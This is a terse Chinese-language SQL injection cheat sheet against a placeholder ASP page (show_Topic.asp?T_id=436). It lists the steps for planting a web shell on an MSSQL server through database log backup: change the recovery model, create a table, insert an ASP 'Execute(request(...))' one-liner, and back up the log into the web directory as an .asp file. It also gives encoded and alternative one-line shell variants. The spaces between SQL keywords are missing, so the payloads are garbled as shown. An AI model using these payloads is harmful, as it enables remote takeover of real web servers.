数据库：xxx物理路径：d:\xxxxx\注入点：http://www.xx.com/show_Topic.asp?T_id=436数字型1http://www.xx.com/show_Topic.asp?T_id=436;alterdatabasexxxsetRECOVERYFULL2http://www.xx.com/show_Topic.asp?T_id=436;createtablecmd(aimage)--3http://www.xx.com/show_Topic.asp?T_id=436;backuplogxxxtodisk='c:\cmd'withinit4http://www.xx.com/show_Topic.asp?T_id=436;insertintocmd(a)values('<%Execute(request("l"))%>')--5http://www.xx.com/show_Topic.asp?T_id=436;backuplogxxxtodisk='d:\xxxxx\asa.asp'--6http://www.xx.com/show_Topic.asp?T_id=436;droptablecmd--insertintocmd(a)values('<%Execute(request("l"))%>')--改为insertintocmd(a)values('<%25Execute(request("l"))%25>')--<%ifrequest("|")<>""thenexecuterequest("|")%>"%><%executerequest("|")%><%"